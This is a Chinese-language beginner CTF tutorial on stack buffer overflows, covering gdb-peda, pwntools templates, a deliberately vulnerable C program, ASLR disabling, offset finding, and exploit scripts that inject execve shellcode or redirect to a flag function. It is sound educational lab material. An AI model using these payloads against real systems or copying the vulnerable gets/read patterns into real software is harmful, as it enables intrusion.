入坑 CTF-PWN 之 栈溢出入门

 好久没看过pwn题目了,写一个入门的教程顺便复习了:

1. 安装gdb-peda

  • git clone https://github.com/longld/peda.git ~/peda
  • echo "source ~/peda/peda.py" >> ~/.gdbinit
  • echo "DONE! debug your program with gdb and enjoy"

2. 一些比较有用的技巧

  • print system
    直接输出__libc_system的地址 , 用以验证信息泄露以及system地址计算的正确性

  • checksec 检查该二进制的一些安全选项是否打开

  • shellcode 直接生成shellcode

  • attach pid , 在利用脚本connect到socat上之后,socat会fork出一个进程,gdb attach上这个进程,即可以进行远程调试了

  • socat TCP4-LISTEN:12345,fork EXEC:./1 本机调试


3. pwntools

  1. 安装
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install
  • 或者使用
    pip install pwn
  1. 基本的模板
from pwn import *
    context.log\_level = 'debug' #debug模式,可输出详细信息
    conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。
    print str(pwnlib.util.proc.pidof('pwn')[0]) #这两条便于在gdb下迅速attach 上对应的pid
    raw_input('continue')
    conn.recvuntil('Welcome') #两种不同的recv
    conn.recv(2048)
    shellcode = p32(0x0804a028) #用于将数字变成\x28\xa0\x04\x08的形式
    conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯
    conn.interactive() #拿到shell之后,用此进行交互

from pwn import *
    pwn=remote("127.0.0.1","12345")
    payload='A'*136 + p64(0x00000000004005bd)
    #pwn.recvuntil('Welcome') #两种不同的recv
    pwn.sendline(payload)
    pwn.interactive()
  1. 本地调试
  • socat tcp-listen:12345, fork EXEC:./pwn

GDB 命令

1. X 命令
o - octal
x - hexadecimal
d - decimal
u - unsigned decimal
t - binary
f - floating point
a - address
c - char
s - string
i - instruction
2. 指定大小
b - byte
h - halfword (16-bit value)
w - word (32-bit value)
g - giant word (64-bit value)
  1. 基本栈溢出
// c语言源码
#include <stdio.h>
#include <unistd.h>

int vuln() {
 char buf[80];
 int r;
 r = read(0, buf, 400);
 printf("\nRead %d bytes. buf is %s\n", r, buf);
 puts("No shell for you :(");
 return 0;
}

int main(int argc, char *argv[]) {
 printf("Try to exec /bin/sh");
 vuln();
 return 0;
}
 
 /* Compile: gcc -fno-stack-protector -z execstack 1.c -o 1 */
 /*  Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */

root@kali:~/桌面# checksec 1
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/1'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)

当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。

因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP

  • 我们首先使用gdb-peda
gdb
gdb-peda$ file 1 

python -c "'a'*400" > in.txt

  • 然后在运行的时候使用
    gdb-peda$ r < in.txt

真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:

gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
gdb-peda$ r  < in.txt

 然后我们查看此时的栈顶,因为我们是在栈中覆盖掉了vuln()函数的返回地址,此时这个返回地址就是$rsp(栈顶指针),栈的地址是从高地址向低地址增长的,大概如下图所示:

低    ->|-----------------|
      | 全局量(所有已初始化量 .data, |
      | 未初始化量 .bss )       |
  堆起始->|-----------------|
      |    堆向高地址增长      |
      |                 |
      |                 |
      |     自由空间        |
      |                 |
      |                 |
      |    栈向低地址增长      |
高 栈起始->|-----------------| 

查看此时的rsp:

x/wx $rsp
0x7fffffffe1d8: 0x41413741

查看此时偏移:

gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104

因为该程序没有NX或stack canaries保护机制,所以我们可以直接在栈上编写我们的shellcode然后返回到shellcode上。
我们将通过一个环境变量把shellcode存储在栈中并用getenvaddr在栈上找到其地址.

export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
/*
getenvaddr.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}


执行: 查看PWN变量在内存中的位置

root@kali:~/桌面# ./getenvaddr PWN ./1
PWN will be at 0x7fff203f4e4f

exp:

from pwn import *
pwn=remote("127.0.0.1","12345")
payload='A'*104 + p64(0x00007fff203f4e4f)  //这里跟你想执行的shellcode
pwn.sendline(payload)
pwn.interactive()

这里为了方便演示,我在源码里写了一个flag函数,让调用完vuln函数后返回到flag函数去执行

#include <stdio.h>
#include <unistd.h>

int vuln() {
 char buf[80];
 gets(buf);
 return 0;
}

int flag(){
  printf("you got the flag!");
  return 0;
}
int main(int argc, char *argv[]) {
 vuln();
 return 0;
}

查看main函数汇编地址

gdb-peda$ disas main 
Dump of assembler code for function main:
   0x00000000004005da <+0>: push   rbp
   0x00000000004005db <+1>: mov    rbp,rsp
   0x00000000004005de <+4>: sub    rsp,0x10
   0x00000000004005e2 <+8>: mov    DWORD PTR [rbp-0x4],edi
   0x00000000004005e5 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004005e9 <+15>:    mov    edi,0x4006d5
   0x00000000004005ee <+20>:    mov    eax,0x0
   0x00000000004005f3 <+25>:    call   0x400440 <printf@plt>
   0x00000000004005f8 <+30>:    mov    eax,0x0
   0x00000000004005fd <+35>:    call   0x400576 <vuln>
   0x0000000000400602 <+40>:    mov    eax,0x0
   0x0000000000400607 <+45>:    leave  
   0x0000000000400608 <+46>:    ret    
End of assembler dump.

查看flag函数地址

gdb-peda$ disas flag
Dump of assembler code for function flag:
   0x00000000004005c0 <+0>: push   rbp
   0x00000000004005c1 <+1>: mov    rbp,rsp
   0x00000000004005c4 <+4>: mov    edi,0x4006c3
   0x00000000004005c9 <+9>: mov    eax,0x0
   0x00000000004005ce <+14>:    call   0x400440 <printf@plt>
   0x00000000004005d3 <+19>:    mov    eax,0x0
   0x00000000004005d8 <+24>:    pop    rbp
   0x00000000004005d9 <+25>:    ret    
End of assembler dump.

查看call vuln函数执行时候栈

0000| 0x7fffffffde58 --> 0x400602 (<main+40>:   mov    eax,0x0)
0008| 0x7fffffffde60 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
0016| 0x7fffffffde68 --> 0x100000000 
0024| 0x7fffffffde70 --> 0x400610 (<__libc_csu_init>:   push   r15)
0032| 0x7fffffffde78 --> 0x7ffff7a2e830 (<__libc_start_main+240>:   mov    edi,eax)
0040| 0x7fffffffde80 --> 0x0 
0048| 0x7fffffffde88 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
0056| 0x7fffffffde90 --> 0x100000000 

查看为变量赋值后栈的结构

0x400587 <vuln+17>: mov    rsi,rax
   0x40058a <vuln+20>:  mov    edi,0x0
   0x40058f <vuln+25>:  call   0x400450 <read@plt>
=> 0x400594 <vuln+30>:  mov    DWORD PTR [rbp-0x4],eax
   0x400597 <vuln+33>:  lea    rdx,[rbp-0x60]
   0x40059b <vuln+37>:  mov    eax,DWORD PTR [rbp-0x4]
   0x40059e <vuln+40>:  mov    esi,eax
   0x4005a0 <vuln+42>:  mov    edi,0x400694


gdb-peda$ stack 50
0000| 0x7fffffffddf0 ('A' <repeats 104 times>, "\300\005@")
0008| 0x7fffffffddf8 ('A' <repeats 96 times>, "\300\005@")
0016| 0x7fffffffde00 ('A' <repeats 88 times>, "\300\005@")
0024| 0x7fffffffde08 ('A' <repeats 80 times>, "\300\005@")
0032| 0x7fffffffde10 ('A' <repeats 72 times>, "\300\005@")
0040| 0x7fffffffde18 ('A' <repeats 64 times>, "\300\005@")
0048| 0x7fffffffde20 ('A' <repeats 56 times>, "\300\005@")
0056| 0x7fffffffde28 ('A' <repeats 48 times>, "\300\005@")
0064| 0x7fffffffde30 ('A' <repeats 40 times>, "\300\005@")
0072| 0x7fffffffde38 ('A' <repeats 32 times>, "\300\005@")
0080| 0x7fffffffde40 ('A' <repeats 24 times>, "\300\005@")
0088| 0x7fffffffde48 ('A' <repeats 16 times>, "\300\005@")
0096| 0x7fffffffde50 ("AAAAAAAA\300\005@")
0104| 0x7fffffffde58 --> 0x4005c0 (<flag>:  push   rbp) 
// 这里我们清晰地看到vuln函数的返回地址已经变成了flag函数的地址,这样在返回
// 后rsp会出栈赋值给rip,然后执行flag函数

【参考链接】

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,997评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,603评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,359评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,309评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,346评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,258评论 1 300
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,122评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,970评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,403评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,596评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,769评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,464评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,075评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,705评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,848评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,831评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,678评论 2 354